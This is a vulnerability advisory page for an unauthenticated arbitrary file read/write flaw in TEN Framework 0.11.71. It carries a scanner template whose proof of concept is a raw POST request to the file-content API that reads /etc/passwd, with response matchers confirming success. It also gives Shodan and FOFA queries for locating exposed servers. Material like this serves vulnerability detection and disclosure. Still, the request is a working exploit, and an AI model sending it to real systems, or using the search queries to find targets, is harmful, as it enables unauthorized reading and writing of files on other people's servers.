CVE-2026-85688: TEN Framework - Arbitrary File Read & Write

2026-09-21 Unknown PoC Public

Description

TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.

PoC

id: CVE-2026-85688

info:
  name: TEN Framework - Arbitrary File Read & Write
  author: aryu-ru,geo-chen
  severity: critical
  description: |
    TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.
  impact: |
    Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of TEN Framework.
  reference:
    - https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer
    - https://github.com/TEN-framework/ten-framework/issues/2187
    - https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85688
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-85688
    epss-score: 0.01469
    epss-percentile: 0.72173
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: ten-framework
    product: ten-framework
    shodan-query: http.title:"TEN Manager"
    fofa-query: title="TEN Manager"
  tags: cve,cve2026,ten-framework,tman,lfi,ai,unauth

http:
  - raw:
      - |
        POST /api/designer/v1/file-content HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"file_path":"/etc/passwd"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"status\":\"ok\"", "\"data\":{\"content\":\"", "root:")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022009605ff7a21ec8c099a99608650343a192ec4af4802262d3e9d846b6ade5a14e02210081df0a377d660ca380804739b240b745addc63a932f84b056957447a62321408:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.